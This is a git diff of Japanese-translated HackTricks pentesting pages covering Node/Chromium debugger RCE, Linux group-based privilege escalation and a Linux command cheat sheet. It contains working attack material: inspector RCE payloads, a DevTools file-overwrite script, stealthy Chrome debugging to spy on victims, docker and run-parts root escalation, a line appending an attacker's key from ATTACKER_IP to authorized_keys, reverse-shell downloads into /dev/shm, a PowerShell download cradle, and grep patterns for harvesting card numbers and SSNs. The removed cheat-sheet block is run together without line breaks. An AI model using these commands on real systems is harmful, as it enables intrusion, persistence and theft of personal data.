-**Chromiumベースのブラウザ**に接続するには、Chromeの場合は`chrome://inspect`またはEdgeの場合は`edge://inspect`のURLにアクセスできます。Configureボタンをクリックして、**ターゲットホストとポート**が正しくリストされていることを確認する必要があります。画像はリモートコード実行(RCE)の例を示しています: +**Chromiumベースのブラウザ**に接続するには、Chromeの場合は`chrome://inspect`またはEdgeの場合は`edge://inspect`のURLにアクセスできます。構成ボタンをクリックして、**ターゲットホストとポート**が正しくリストされていることを確認する必要があります。画像はリモートコード実行(RCE)の例を示しています: -![](<../../.gitbook/assets/image (620) (1).png>) +![](<../../.gitbook/assets/image (674).png>) **コマンドライン**を使用して、デバッガー/インスペクターに接続できます: ```bash @@ -78,7 +78,7 @@ node inspect 127.0.0.1:9229 # RCE example from debug console debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')") ``` -ツール[**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug)は、ローカルで実行中の**インスペクターを見つけ**、それに**コードを注入**することができます。 +ツール[**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug)を使用すると、ローカルで実行中の**インスペクタ**を**見つけて**その中にコードを**注入**することができます。 ```bash #List possible vulnerable sockets ./cefdebug.exe @@ -88,16 +88,16 @@ debug> exec("process.mainModule.require('child_process').exec('/Applications/iTe ./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')" ``` {% hint style="info" %} -**NodeJS RCE exploits**は、ブラウザを[**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/)経由で接続している場合には機能しません(興味深いことを見つけるためにAPIをチェックする必要があります)。 +**NodeJS RCE exploits**は、ブラウザを[**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/)経由で接続している場合には機能しないことに注意してください(興味深いことを見つけるためにAPIをチェックする必要があります)。 {% endhint %} ## NodeJSデバッガー/インスペクターでのRCE {% hint style="info" %} -もし[**ElectronのXSSからRCEを取得する方法**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)を探してここに来たのであれば、このページをチェックしてください。 +もし[**ElectronのXSSからRCEを取得する方法**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)を探してここに来た場合は、このページをご確認ください。 {% endhint %} -Node **inspector**に**接続**できる場合に**RCE**を取得する一般的な方法は、次のようなものを使用することです(Chrome DevToolsプロトコルへの接続では動作しないようです): +Node **inspector**に**接続**できる場合に**RCE**を取得する一般的な方法のいくつかは、次のようなものを使用することです(Chrome DevToolsプロトコルへの接続では機能しないようです): ```javascript process.mainModule.require('child_process').exec('calc') window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe") @@ -106,22 +106,22 @@ Browser.open(JSON.stringify({url: "c:\\windows\\system32\\calc.exe"})) ``` ## Chrome DevTools Protocol Payloads -APIは[こちら](https://chromedevtools.github.io/devtools-protocol/)で確認できます。\ +APIはこちらで確認できます: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\ このセクションでは、このプロトコルを悪用するために人々が使用してきた興味深い事柄をリストアップします。 ### ディープリンクを介したパラメーターインジェクション [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/)では、Rhino Securityが、CEFに基づくアプリケーションがシステムにカスタムURI(workspaces://)を登録し、そのURIを受け取り、そのURIから部分的に構築された構成でCEFベースのアプリケーションを起動していたことを発見しました。 -URIパラメーターがURLデコードされ、CEFベースのアプリケーションを起動するために使用されていたことが発見され、ユーザーがコマンドラインに`--gpu-launcher`フラグをインジェクトして任意の操作を実行できるようになりました。 +URIパラメーターがURLデコードされ、CEFベースのアプリケーションを起動するために使用されていることが発見され、ユーザーがコマンドラインに`--gpu-launcher`フラグをインジェクトして任意の操作を実行できるようになっていました。 -したがって、次のようなペイロード: +したがって、次のようなペイロード: ``` workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE ``` ### ファイルの上書き -**ダウンロードされたファイルが保存されるフォルダ**を変更し、**悪意のあるコード**で**アプリケーションのソースコード**を頻繁に使用されるファイルで上書きします。 +**ダウンロードされたファイルが保存されるフォルダ**を変更し、**悪意のあるコード**で**アプリケーションのソースコード**を頻繁に使用されるように**上書き**するファイルをダウンロードします。 ```javascript ws = new WebSocket(url); //URL of the chrome devtools service ws.send(JSON.stringify({ @@ -139,9 +139,9 @@ downloadPath: '/code/' ### ポストエクスプロイテーション -実際の環境において、**ユーザーの PC が Chrome/Chromium ベースのブラウザを使用している場合に**、Chrome プロセスを起動し、**デバッグを有効にしてデバッグポートをポートフォワード**することができます。これにより、Chrome を使用している被害者の行動を**すべて検査し、機密情報を盗むことができます**。 +実際の環境において、ユーザーの PC を侵害した後、Chrome/Chromium ベースのブラウザを使用している場合、Chrome プロセスをデバッグを有効にして起動し、デバッグポートをポートフォワードしてアクセスできるようにすることができます。これにより、被害者が Chrome で行うすべての操作を検査し、機密情報を盗むことができます。 -ステルス的な方法は、**すべての Chrome プロセスを終了**し、次のようなものを呼び出すことです: +ステルスな方法は、すべての Chrome プロセスを終了させ、次のようなものを呼び出すことです: ```bash Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session" ``` @@ -167,7 +167,7 @@ HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[Telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**する。 -* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする。 +* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 diff --git a/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md b/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md index 8d0c45d85..9dee688c7 100644 --- a/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md +++ b/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md @@ -1,24 +1,24 @@ -# 興味深いグループ - Linux Privesc +# インタレスティング・グループ - Linux Privesc
-htARTE(HackTricks AWS Red Team Expert) でゼロからヒーローまでAWSハッキングを学ぶ +ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) HackTricks をサポートする他の方法: * **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する -* **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする。 -* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出する。 +* **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする。 +* **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
## Sudo/Admin グループ -### **PE - 方法1** +### **PE - メソッド 1** -**時々**、**デフォルトで(またはあるソフトウェアが必要とするために)**、**/etc/sudoers** ファイルの中にこれらの行のいくつかが見つかることがあります: +**時々**、**デフォルトで(またはあるソフトウェアが必要とするために)**、**/etc/sudoers** ファイルの中にこれらの行のいくつかを見つけることができます: ```bash # Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) ALL @@ -38,14 +38,14 @@ sudo su ```bash find / -perm -4000 2>/dev/null ``` -もしバイナリ**pkexecがSUIDバイナリである**ことがわかり、**sudo**または**admin**に所属している場合、おそらく`pkexec`を使用してsudoとしてバイナリを実行できるかもしれません。\ -通常、これらは**polkitポリシー**内のグループです。このポリシーは基本的に、どのグループが`pkexec`を使用できるかを識別します。次のコマンドで確認してください: +もしバイナリ**pkexecがSUIDバイナリである**ことがわかり、**sudo**または**admin**に所属している場合、おそらく`pkexec`を使用してバイナリをsudoとして実行できるかもしれません。\ +これは通常、**polkitポリシー**内にあるグループです。このポリシーは基本的に、どのグループが`pkexec`を使用できるかを識別します。次のコマンドで確認してください: ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` -以下では、どのグループが**pkexec**を実行できるか、および**デフォルトで**一部のLinuxディストリビューションでは**sudo**および**admin**グループが表示されます。 +以下では、どのグループが**pkexec**を実行することが許可されているか、そしていくつかのLinuxディストリビューションでは**sudo**と**admin**グループが**デフォルトで**表示されます。 -**rootになるには、次のコマンドを実行します**: +**rootになるためには、次のコマンドを実行できます**: ```bash pkexec "/bin/sh" #You will be prompted for your user password ``` @@ -55,7 +55,7 @@ polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freed ==== AUTHENTICATION FAILED === Error executing command as another user: Not authorized ``` -**権限がないわけではなく、GUIなしで接続されていないためです**。そして、この問題の回避策がここにあります: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903)。**異なる2つのsshセッション**が必要です: +**許可がないわけではなく、GUIなしで接続されていないためです**。そして、この問題の回避策がここにあります: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903)。**異なる2つのsshセッション**が必要です: {% code title="session1" %} ```bash @@ -74,13 +74,13 @@ pkttyagent --process #Step 2, attach pkttyagent to session1 ## Wheel Group -**時々**、**デフォルトで**、**/etc/sudoers** ファイルの中にこの行が見つかることがあります: +**時々**、**デフォルトで**、**/etc/sudoers**ファイルの中にこの行が見つかることがあります: ``` %wheel ALL=(ALL:ALL) ALL ``` これは、**wheelグループに属するユーザーはsudoとして何でも実行できる**ことを意味します。 -この場合、**rootになるためには単に実行するだけです**: +これが当てはまる場合、**rootになるには単に実行するだけです**: ``` sudo su ``` @@ -90,11 +90,11 @@ sudo su ``` -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` -## スタッフグループ +## Staff Group -**staff**: ルート権限が必要なく、システム(`/usr/local`)にローカルな変更を加えることを許可します(`/usr/local/bin`内の実行可能ファイルは、同じ名前の`/bin`および`/usr/bin`内の実行可能ファイルを"オーバーライド"する可能性があることに注意してください)。監視/セキュリティに関連するグループ"adm"と比較してください。 [\[source\]](https://wiki.debian.org/SystemGroups) +**staff**: ユーザーがルート権限を必要とせずにシステム(`/usr/local`)にローカルな変更を追加できるようにします(`/usr/local/bin`内の実行可能ファイルは任意のユーザーのPATH変数にあり、同じ名前の`/bin`および`/usr/bin`内の実行可能ファイルを「上書き」する可能性があります)。監視/セキュリティに関連するグループである "adm" グループと比較してください。 [\[source\]](https://wiki.debian.org/SystemGroups) -Debianディストリビューションでは、`$PATH`変数により、特権ユーザーであろうとなかろうと、`/usr/local/`が最優先で実行されることが示されています。 +Debianディストリビューションでは、`$PATH`変数は、特権ユーザーであろうとなかろうと、`/usr/local/`が最優先で実行されることを示しています。 ```bash $ echo $PATH /usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games @@ -102,11 +102,11 @@ $ echo $PATH # echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin ``` -### Interesting Groups - Linux PE +### Interesting Groups for Linux Privilege Escalation もし `/usr/local` 内のいくつかのプログラムを乗っ取ることができれば、root 権限を簡単に取得できます。 -`run-parts` プログラムを乗っ取ることは root 権限を簡単に取得する方法です。なぜなら、ほとんどのプログラムが `run-parts` を実行するように設定されているからです(crontab や ssh ログイン時など)。 +`run-parts` プログラムを乗っ取ることは root 権限を簡単に取得する方法です。なぜなら、ほとんどのプログラムが `run-parts` を実行するようになっているからです(crontab や ssh ログイン時など)。 ```bash $ cat /etc/crontab | grep run-parts 17 * * * * root cd / && run-parts --report /etc/cron.hourly @@ -114,7 +114,7 @@ $ cat /etc/crontab | grep run-parts 47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; } 52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; } ``` -または、新しいsshセッションログイン時。 +または新しいsshセッションログイン時。 ```bash $ pspy64 2024/02/01 22:02:08 CMD: UID=0 PID=1 | init [2] @@ -127,7 +127,7 @@ $ pspy64 2024/02/01 22:02:14 CMD: UID=0 PID=17890 | sshd: mane [priv] 2024/02/01 22:02:15 CMD: UID=0 PID=17891 | -bash ``` -**エクスプロイト** +**悪用** ```bash # 0x1 Add a run-parts script in /usr/local/bin/ $ vi /usr/local/bin/run-parts @@ -148,7 +148,7 @@ $ /bin/bash -p ``` ## ディスクグループ -この特権はほぼ**rootアクセスと同等**です。マシン内のすべてのデータにアクセスできます。 +この特権はほぼ**ルートアクセスと同等**です。マシン内のすべてのデータにアクセスできます。 ファイル:`/dev/sd[a-z][1-9]` ```bash @@ -159,16 +159,16 @@ debugfs: ls debugfs: cat /root/.ssh/id_rsa debugfs: cat /etc/shadow ``` -注意: debugfsを使用して**ファイルを書き込む**こともできます。たとえば、`/tmp/asd1.txt`を`/tmp/asd2.txt`にコピーするには、次のようにします: +注意してください。debugfsを使用して**ファイルを書き込む**こともできます。たとえば、`/tmp/asd1.txt`を`/tmp/asd2.txt`にコピーするには、次のようにします: ```bash debugfs -w /dev/sda1 debugfs: dump /tmp/asd1.txt /tmp/asd2.txt ``` -しかし、**root所有のファイルを書き込もうとする**と(例:`/etc/shadow`や`/etc/passwd`)、**権限が拒否される**エラーが発生します。 +しかし、**root所有のファイルを書き込もうとすると**(たとえば `/etc/shadow` や `/etc/passwd`)、"**Permission denied**" エラーが発生します。 ## Video Group -コマンド`w`を使用すると、**システムにログインしているユーザー**を見つけることができ、以下のような出力が表示されます: +コマンド `w` を使用すると、**システムにログインしているユーザー**を見つけることができ、次のような出力が表示されます: ```bash USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT yossi tty1 22:16 5:13m 0.05s 0.04s -bash @@ -176,14 +176,14 @@ moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash ``` **tty1**は、ユーザー**yossiがマシンの端末に物理的にログイン**していることを意味します。 -**videoグループ**は、画面出力を表示する権限を持っています。基本的に、画面を観察することができます。そのためには、画面上の現在の画像を生データで取得し、画面が使用している解像度を取得する必要があります。画面データは`/dev/fb0`に保存でき、この画面の解像度は`/sys/class/graphics/fb0/virtual_size`で見つけることができます。 +**videoグループ**は、画面出力を表示する権限を持っています。基本的に、画面を観察することができます。そのためには、画面上の現在のイメージを生データで取得し、画面が使用している解像度を取得する必要があります。画面データは`/dev/fb0`に保存することができ、この画面の解像度は`/sys/class/graphics/fb0/virtual_size`で見つけることができます。 ```bash cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size ``` **ルートグループ** -デフォルトでは、**ルートグループのメンバー**がいくつかの**サービス**構成ファイルや**ライブラリ**ファイル、または権限昇格に使用できる**その他の興味深いもの**にアクセスできる可能性があります... +デフォルトでは、**ルートグループのメンバー**が特定の**サービス**構成ファイルや**ライブラリ**ファイル、または特権を昇格させるのに使用できる**その他の興味深いもの**を変更できる可能性があります... **ルートメンバーが変更できるファイルを確認します**: ```bash @@ -191,7 +191,7 @@ find / -group root -perm -g=w 2>/dev/null ``` ## Docker グループ -インスタンスのボリュームにホストマシンのルートファイルシステムをマウントできるため、インスタンスが起動するとすぐにそのボリュームに `chroot` がロードされます。これにより、実質的にマシン上で root 権限を取得できます。 +インスタンスのボリュームにホストマシンのルートファイルシステムをマウントすることができます。したがって、インスタンスが起動するとすぐにそのボリュームに `chroot` がロードされます。これにより、実質的にマシンで root 権限を取得できます。 ```bash docker image #Get images from the docker service @@ -205,9 +205,7 @@ docker run --rm -it --pid=host --net=host --privileged -v /:/mnt chr ``` ## lxc/lxd グループ -{% content-ref url="./" %} -[.](./) -{% endcontent-ref %} +[lxc/lxd グループ](./) ## Adm グループ @@ -216,5 +214,5 @@ docker run --rm -it --pid=host --net=host --privileged -v /:/mnt chr ## Auth グループ -OpenBSD内では、**auth** グループは通常、使用されている場合は _**/etc/skey**_ および _**/var/db/yubikey**_ フォルダーに書き込むことができます。\ +OpenBSD内では、**auth** グループは通常、_**/etc/skey**_ および _**/var/db/yubikey**_ のフォルダに書き込む権限を持つことがあります。\ これらの権限は、次のエクスプロイトを使用して特権を**昇格**するために悪用される可能性があります: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) diff --git a/linux-hardening/useful-linux-commands.md b/linux-hardening/useful-linux-commands.md index a27a835a0..de0c8091f 100644 --- a/linux-hardening/useful-linux-commands.md +++ b/linux-hardening/useful-linux-commands.md @@ -1,23 +1,348 @@ -# Useful Linux Commands +# 便利なLinuxコマンド -
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ 今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう! +ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -**HackTricksをサポートする他の方法:HackTricksで企業を宣伝したい場合やHackTricksをPDFでダウンロードしたい場合は、**[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)**をチェックしてください!**[**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)**を入手してください**[**The PEASS Family**](https://opensea.io/collection/the-peass-family)**を発見し、独占的な**[**NFTs**](https://opensea.io/collection/the-peass-family)**のコレクションを見つけてください💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**または**[**telegramグループ**](https://t.me/peass)**に参加するか、Twitter 🐦** [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。HackTricksと**[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。** +HackTricksをサポートする他の方法: + +* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手してください +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加し、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出**してください。
-**Common Bash**#Exfiltration using Base64base64 -w 0 file#Get HexDump without new linesxxd -p boot12.bin | tr -d '\n'#Add public key to authorized keyscurl https://ATTACKER\_IP/.ssh/id\_rsa.pub >> \~/.ssh/authorized\_keys#Echo without new line and Hexecho -n -e#Countwc -l \ #Lineswc -c #Chars#Sortsort -nr #Sort by number and then reversecat file | sort | uniq #Sort and delete duplicates#Replace in filesed -i 's/OLD/NEW/g' path/file #Replace string inside a file#Download in RAMwget 10.10.14.14:8000/tcp\_pty\_backconnect.py -O /dev/shm/.rev.pywget 10.10.14.14:8000/tcp\_pty\_backconnect.py -P /dev/shmcurl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py#Files used by network processeslsof #Open files belonging to any processlsof -p 3 #Open files used by the processlsof -i #Files used by networks processeslsof -i 4 #Files used by network IPv4 processeslsof -i 6 #Files used by network IPv6 processeslsof -i 4 -a -p 1234 #List all open IPV4 network files in use by the process 1234lsof +D /lib #Processes using files inside the indicated dirlsof -i :80 #Files uses by networks processesfuser -nv tcp 80#Decompresstar -xvzf /path/to/yourfile.tgztar -xvjf /path/to/yourfile.tbzbzip2 -d /path/to/yourfile.bz2tar jxf file.tar.bz2gunzip /path/to/yourfile.gzunzip file.zip7z -x file.7zsudo apt-get install xz-utils; unxz file.xz#Add new useruseradd -p 'openssl passwd -1 \' hacker#Clipboardxclip -sel c < cat file.txt#HTTP serverspython -m SimpleHTTPServer 80python3 -m http.serverruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start"php -S $ip:80#Curl#json datacurl --header "Content-Type: application/json" --request POST --data '{"password":"password", "username":"admin"}' http://host:3000/endpoint#Auth via JWTcurl -X GET -H 'Authorization: Bearer \' http://host:3000/endpoint#Send EmailsendEmail -t to@email.com -f from@email.com -s 192.168.8.131 -u Subject -a file.pdf #You will be prompted for the content#DD copy hex bin file without first X (28) bytesdd if=file.bin bs=28 skip=1 of=blob#Mount .vhd files (virtual hard drive)sudo apt-get install libguestfs-toolsguestmount --add NAME.vhd --inspector --ro /mnt/vhd #For read-only, create first /mnt/vhd# ssh-keyscan, help to find if 2 ssh ports are from the same host comparing keysssh-keyscan 10.10.10.101# Opensslopenssl s\_client -connect 10.10.10.127:443 #Get the certificate from a serveropenssl x509 -in ca.cert.pem -text #Read certificateopenssl genrsa -out newuser.key 2048 #Create new RSA2048 keyopenssl req -new -key newuser.key -out newuser.csr #Generate certificate from a private key. Recommended to set the "Organizatoin Name"(Fortune) and the "Common Name" (newuser@fortune.htb)openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Create certificateopenssl x509 -req -in newuser.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out newuser.pem -days 1024 -sha256 #Create a signed certificateopenssl pkcs12 -export -out newuser.pfx -inkey newuser.key -in newuser.pem #Create from the signed certificate the pkcs12 certificate format (firefox)# If you only needs to create a client certificate from a Ca certificate and the CA key, you can do it using:openssl pkcs12 -export -in ca.cert.pem -inkey ca.key.pem -out client.p12# Decrypt ssh keyopenssl rsa -in key.ssh.enc -out key.ssh#Decryptopenssl enc -aes256 -k \ -d -in backup.tgz.enc -out b.tgz#Count number of instructions executed by a program, need a host based linux (not working in VM)perf stat -x, -e instructions:u "ls"#Find trick for HTB, find files from 2018-12-12 to 2018-12-14find / -newermt 2018-12-12 ! -newermt 2018-12-14 -type f -readable -not -path "/proc/\*" -not -path "/sys/\*" -ls 2>/dev/null#Reconfigure timezonesudo dpkg-reconfigure tzdata#Search from which package is a binaryapt-file search /usr/bin/file #Needed: apt-get install apt-file#Protobuf decode https://www.ezequiel.tech/2020/08/leaking-google-cloud-projects.htmlecho "CIKUmMesGw==" | base64 -d | protoc --decode\_raw#Set not removable bitsudo chattr +i file.txtsudo chattr -i file.txt #Remove the bit so you can delete it# List files inside zip7z l file.zip\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)**を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。**\ -**今すぐアクセスしてください:Windows用のBash**#Base64 for Windowsecho -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0#Exe compressionupx -9 nc.exe#Exe2batwine exe2bat.exe nc.exe nc.txt#Compile Windows python exploit to exepip install pyinstallerwget -O exploit.py http://www.exploit-db.com/download/31853python pyinstaller.py --onefile exploit.py#Compile for windows#sudo apt-get install gcc-mingw-w64-i686i686-mingw32msvc-gcc -o executable useradd.c**グレップ**#Extract emails from filegrep -E -o "\b\[A-Za-z0-9.\_%+-]+@\[A-Za-z0-9.-]+\\.\[A-Za-z]{2,6}\b" file.txt#Extract valid IP addressesgrep -E -o "(25\[0-5]|2\[0-4]\[0-9]|\[01]?\[0-9]\[0-9]?)\\.(25\[0-5]|2\[0-4]\[0-9]|\[01]?\[0-9]\[0-9]?)\\.(25\[0-5]|2\[0-4]\[0-9]|\[01]?\[0-9]\[0-9]?)\\.(25\[0-5]|2\[0-4]\[0-9]|\[01]?\[0-9]\[0-9]?)" file.txt#Extract passwordsgrep -i "pwd\\|passw" file.txt#Extract usersgrep -i "user\\|invalid\\|authentication\\|login" file.txt# Extract hashes#Extract md5 hashes ({32}), sha1 ({40}), sha256({64}), sha512({128})egrep -oE '(^|\[^a-fA-F0-9])\[a-fA-F0-9]{32}(\[^a-fA-F0-9]|$)' \*.txt | egrep -o '\[a-fA-F0-9]{32}' > md5-hashes.txt#Extract valid MySQL-Old hashesgrep -e "\[0-7]\[0-9a-f]{7}\[0-7]\[0-9a-f]{7}" \*.txt > mysql-old-hashes.txt#Extract blowfish hashesgrep -e "$2a\\$\08\\$(.){75}" \*.txt > blowfish-hashes.txt#Extract Joomla hashesegrep -o "(\[0-9a-zA-Z]{32}):(w{16,32})" \*.txt > joomla.txt#Extract VBulletin hashesegrep -o "(\[0-9a-zA-Z]{32}):(S{3,32})" \*.txt > vbulletin.txt#Extraxt phpBB3-MD5egrep -o '$H$S{31}' \*.txt > phpBB3-md5.txt#Extract Wordpress-MD5egrep -o '$P$S{31}' \*.txt > wordpress-md5.txt#Extract Drupal 7egrep -o '$S$S{52}' \*.txt > drupal-7.txt#Extract old Unix-md5egrep -o '$1$w{8}S{22}' \*.txt > md5-unix-old.txt#Extract md5-apr1egrep -o '$apr1$w{8}S{22}' \*.txt > md5-apr1.txt#Extract sha512crypt, SHA512(Unix)egrep -o '$6$w{8}S{86}' \*.txt > sha512crypt.txt#Extract e-mails from text filesgrep -E -o "\b\[a-zA-Z0-9.#?$\*\_-]+@\[a-zA-Z0-9.#?$\*\_-]+.\[a-zA-Z0-9.-]+\b" \*.txt > e-mails.txt#Extract HTTP URLs from text filesgrep http | grep -shoP 'http.\*?\[" >]' \*.txt > http-urls.txt#For extracting HTTPS, FTP and other URL format usegrep -E '(((https|ftp|gopher)|mailto)\[.:]\[^ >" ]\*|www.\[-a-z0-9.]+)\[^ .,; >">):]' \*.txt > urls.txt#Note: if grep returns "Binary file (standard input) matches" use the following approaches # tr '\[\000-\011\013-\037177-377]' '.' < \*.log | grep -E "Your\_Regex" OR # cat -v \*.log | egrep -o "Your\_Regex"#Extract Floating point numbersgrep -E -o "^\[-+]?\[0-9]\*.?\[0-9]+(\[eE]\[-+]?\[0-9]+)?$" \*.txt > floats.txt# Extract credit card data#Visagrep -E -o "4\[0-9]{3}\[ -]?\[0-9]{4}\[ -]?\[0-9]{4}\[ -]?\[0-9]{4}" \*.txt > visa.txt#MasterCardgrep -E -o "5\[0-9]{3}\[ -]?\[0-9]{4}\[ -]?\[0-9]{4}\[ -]?\[0-9]{4}" \*.txt > mastercard.txt#American Expressgrep -E -o "\b3\[47]\[0-9]{13}\b" \*.txt > american-express.txt#Diners Clubgrep -E -o "\b3(?:0\[0-5]|\[68]\[0-9])\[0-9]{11}\b" \*.txt > diners.txt#Discovergrep -E -o "6011\[ -]?\[0-9]{4}\[ -]?\[0-9]{4}\[ -]?\[0-9]{4}" \*.txt > discover.txt#JCBgrep -E -o "\b(?:2131|1800|35d{3})d{11}\b" \*.txt > jcb.txt#AMEXgrep -E -o "3\[47]\[0-9]{2}\[ -]?\[0-9]{6}\[ -]?\[0-9]{5}" \*.txt > amex.txt# Extract IDs#Extract Social Security Number (SSN)grep -E -o "\[0-9]{3}\[ -]?\[0-9]{2}\[ -]?\[0-9]{4}" \*.txt > ssn.txt#Extract Indiana Driver License Numbergrep -E -o "\[0-9]{4}\[ -]?\[0-9]{2}\[ -]?\[0-9]{4}" \*.txt > indiana-dln.txt#Extract US Passport Cardsgrep -E -o "C0\[0-9]{7}" \*.txt > us-pass-card.txt#Extract US Passport Numbergrep -E -o "\[23]\[0-9]{8}" \*.txt > us-pass-num.txt#Extract US Phone Numberssgrep -Po 'd{3}\[s-\_]?d{3}\[s-\_]?d{4}' \*.txt > us-phones.txt#Extract ISBN Numbersegrep -a -o "\bISBN(?:-1\[03])?:? 